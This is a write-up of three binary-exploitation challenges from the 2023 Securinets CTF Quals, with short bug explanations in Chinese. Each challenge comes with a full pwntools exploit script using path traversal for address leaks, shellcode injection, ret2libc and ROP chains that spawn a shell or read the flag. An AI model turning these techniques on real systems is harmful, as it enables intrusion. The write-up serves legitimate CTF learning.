2023 Securinets CTF Quals

Admin Service

grxer@Ubantu20 ~/s/m/S/A/togive> checksec ./services
[*] '/mnt/hgfs/share/match/Securinetsctf/Admin Service/togive/services'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'

开了沙箱

grxer@Ubantu20 ~/s/m/S/A/togive> seccomp-tools dump ./services
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000038 if (A == clone) goto 0011
0006: 0x15 0x04 0x00 0x00000039 if (A == fork) goto 0011
0007: 0x15 0x03 0x00 0x0000003a if (A == vfork) goto 0011
0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

readChat可以跳出目录利用/proc/self/maps泄露基地址,updateConfig可以无限越界写

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./services'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def setcfg(idx, v):
io.sendafter(b"Choice:", b'2')
io.sendafter(b"Config index:", str(idx).encode())
io.send(v)

def readchat(name):
io.sendafter(b"Choice:", b'1')
io.sendlineafter(b"Chat ID:\n", name)
dbpie('0x016D6')
readchat(b'../../../../../../../../../proc/self/maps')
pie=int(r(len('55cc2374d000')),16)
ru(b'[heap]\n')
backupCode=int(r(len('7fa5dd3e7000')),16)
p('pie',pie)
p('backupCode',backupCode)
config=0x4060+pie
setcfg((0x4070-0x4060)//8,p64(0x20C2+pie))
# b()
buffer=elf.bss()+pie+0x100
pld = asm(shellcraft.open('/flag')+shellcraft.read(3,buffer, 0x50) + shellcraft.write(1,buffer,0x50))
print(pld)
setcfg((0x40A8-0x4060)//8,p64(backupCode))
for i in range(0, len(pld), 8):
setcfg((backupCode-(0x4060+pie))//8+i//8, pld[i:i+8])
# b()
sla(b"Choice:", b'3')
io.interactive()

image-20230813211518532

ret2libc

grxer@Ubuntu22 ~/s/m/S/r/togive> checksec main
[*] '/mnt/hgfs/share/match/Securinetsctf/ret2libc/togive/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: b'./'

栈溢出,但是通过ecx寄存器把原来的esp保存到栈上,再常规提升堆栈,导致ret和ebp直接有一段距离,找到ret需要栈上之前保存的esp值,所以不能覆盖ret

可以利用gets把‘\n’截断为\x00覆盖存放在栈上的esp的低位为00,有很大机率将esp提升到我们gets输入的栈空间,payload前面用ret填充后面写top链即可

.text:080491D3 8D 4C 24 04                   lea     ecx, [esp+4]
.text:080491D7 83 E4 F0 and esp, 0FFFFFFF0h
.text:080491DA FF 71 FC push dword ptr [ecx-4]
.text:080491DD 55 push ebp
.text:080491DE 89 E5 mov ebp, esp
.text:080491E0 53 push ebx
.text:080491E1 51 push ecx
.text:080491E2 83 EC 50 sub esp, 50h
.text:080491E5 E8 C6 FE FF FF call __x86_get_pc_thunk_bx
.text:080491E5
.text:080491EA 81 C3 0A 2E 00 00 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080491F0 E8 81 FF FF FF call setup
.text:080491F0
.text:080491F5 83 EC 0C sub esp, 0Ch
.text:080491F8 8D 83 14 E0 FF FF lea eax, (aIsThisSolveabl - 804BFF4h)[ebx] ; "Is this solveable?"
.text:080491FE 50 push eax ; s
.text:080491FF E8 4C FE FF FF call _puts
.text:080491FF
.text:08049204 83 C4 10 add esp, 10h
.text:08049207 83 EC 0C sub esp, 0Ch
.text:0804920A 8D 45 A8 lea eax, [ebp+s]
.text:0804920D 50 push eax ; s
.text:0804920E E8 2D FE FF FF call _gets
.text:0804920E
.text:08049213 83 C4 10 add esp, 10h
.text:08049216 B8 00 00 00 00 mov eax, 0
.text:0804921B 8D 65 F8 lea esp, [ebp-8]
.text:0804921E 59 pop ecx
.text:0804921F 5B pop ebx
.text:08049220 5D pop ebp
.text:08049221 8D 61 FC lea esp, [ecx-4]
.text:08049224 C3 retn
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./main'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)

uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
while True:
try:
io=remote('pwn.ctf.securinets.tn',6666)
# io=process(pwnfile)
ret=0x804923B
padding=p32(ret)*((0x50-12)//4)
payload=flat(padding,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
io.sendlineafter(b'solveable?',payload)
io.recvuntil(b'\n')
puts_ad=io.recvuntil(b'\xf7',drop=False,timeout=4)
puts_ad=uu32(puts_ad)
if(puts_ad!=0):
# gdb.attach(io,'b *0x8049216')
libcbase=puts_ad-libcelf.sym['puts']
system_ad=libcbase+libcelf.sym['system']
binsh=libcbase+next(libcelf.search(b'/bin/sh'))
payload=flat(padding,
system_ad,
elf.sym['main'],
binsh
)
io.sendlineafter(b'solveable?',payload)
io.interactive()
io.close()
except:
io.close()

image-20230810183252407

One is enough

[*] '/mnt/hgfs/share/match/Securinetsctf/One is enough/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

readInput里有一个字节的溢出,所以在两个功能函数都能修改保存到栈上的main函数的rbp,静态编译的程序里面有syscall的gadget,所以就可以控制rbp在main返回时利用rop

断点下到 readDescription的memMove,只要main的rbp和读入数据的栈地址只有最后一位不同就行,大概也就16种可能,总有机会会爆破到

image-20230810223319615

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
# io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
while True:
try:
io = process(pwnfile)
# db('0x401866')
# db('0x040186B')
pop_rax=0x0000000000431c77
pop_rsi=0x000000000040ab23
pop_rdi=0x0000000000401f3d
pop_rdx_rbx=0x0000000000463367
syscall=0x00000000004121e2
padding=cyclic(0x100-0xf0)
payload=flat(0xdeadbeef,
pop_rdi,0,pop_rsi,elf.bss()+0x100,pop_rdx_rbx,59,0,elf.sym['read'],
pop_rdi,elf.bss()+0x100,pop_rsi,0,pop_rdx_rbx,0,0,syscall)
print(hex(len(payload)))
sla(b'Quit\n',b'2')
sla(b'tion:',payload)
sla(b'Quit\n',b'1')
payload=cyclic(0x10)+b'\x30'
sla(b'rname:',payload)
sla(b'Quit\n',b'3')
# pause()
sleep(1)
sl(b'/bin/sh\x00'.ljust(59,b'a'))
io.interactive()
except:
io.close()

image-20230810222406110